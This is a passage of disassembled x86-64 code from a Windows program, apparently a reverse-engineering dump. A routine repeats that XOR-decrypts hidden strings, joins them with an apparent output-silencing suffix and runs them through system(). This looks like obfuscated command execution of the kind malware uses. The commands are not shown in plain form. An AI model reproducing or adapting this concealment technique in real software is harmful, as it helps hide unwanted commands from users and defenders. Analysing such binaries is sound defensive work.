xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400148c0
cmp r8d, 0x2d
jge 0x1400149f5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400149c0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2b40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2b60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2b80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2ba0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ba0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2b80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2b60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2b40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2b20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2b00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2bc0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2be0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5318]
lea rcx, [rsp + 0x74]
call fcn.14001f060
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140014c45
mov r8d, ebx
cmp r14d, 2
jl 0x140014c03
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014b10
cmp r8d, 0x2d
jge 0x140014c45
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140014c10
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2c00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2c20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2c40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2c60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2c40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2c20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2c00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2be0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2bc0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2c80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2ca0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5348]
lea rcx, [rsp + 0x75]
call fcn.14001f0a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140014e95
mov r8d, ebx
cmp r14d, 2
jl 0x140014e53
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014d60
cmp r8d, 0x2d
jge 0x140014e95
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140014e60
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2cc0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2ce0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2d00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2d20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2d20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2d00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2ce0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2cc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2ca0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2c80]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2d40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2d60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5378]
lea rcx, [rsp + 0x76]
call fcn.14001f0e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400150e5
mov r8d, ebx
cmp r14d, 2
jl 0x1400150a3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014fb0
cmp r8d, 0x2d
jge 0x1400150e5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400150b0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2d80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2da0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2dc0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2de0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2de0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2dc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2da0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2d80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2d60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2d40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2e00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2e20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x53a8]
lea rcx, [rsp + 0x77]
call fcn.14001f120
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140015335
mov r8d, ebx
cmp r14d, 2
jl 0x1400152f3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140015200
cmp r8d, 0x2d
jge 0x140015335
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140015300
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2e40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2e60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2e80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ea0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2e80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2e60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2e40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2e20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2e00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2ec0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2ee0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x53d8]
lea rcx, [rsp + 0x78]
call fcn.14001f160
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140015585
mov r8d, ebx
cmp r14d, 2
jl 0x140015543
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140015450
cmp r8d, 0x2d
jge 0x140015585
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140015550
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2f00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2f20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2f40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2f60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2f60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2f40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2f20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2f00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2ee0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2ec0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2f80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2fa0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5408]
lea rcx, [rsp + 0x79]
call fcn.14001f1a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400157d5
mov r8d, ebx
cmp r14d, 2
jl 0x140015793
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400156a0
cmp r8d, 0x2d
jge 0x1400157d5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400157a0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2fc0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2fe0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3000]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3020]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3020]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3000]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2fe0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2fc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2fa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2f80]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3040]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3060]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5438]
lea rcx, [rsp + 0x7a]
call fcn.14001f1e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140015a25
mov r8d, ebx
cmp r14d, 2
jl 0x1400159e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400158f0
cmp r8d, 0x2d
jge 0x140015a25
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400159f0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3080]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x30a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x30c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x30e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x30c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x30a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3080]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3060]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3040]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3100]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3120]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5468]
lea rcx, [rsp + 0x7b]
call fcn.14001f220
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140015c75
mov r8d, ebx
cmp r14d, 2
jl 0x140015c33
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140015b40
cmp r8d, 0x2d
jge 0x140015c75
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140015c40
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3140]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3160]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3180]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x31a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x31a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3180]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3160]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3140]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3120]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3100]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x31c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x31e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5498]
lea rcx, [rsp + 0x7c]
call fcn.14001f260
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140015ec5
mov r8d, ebx
cmp r14d, 2
jl 0x140015e83
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
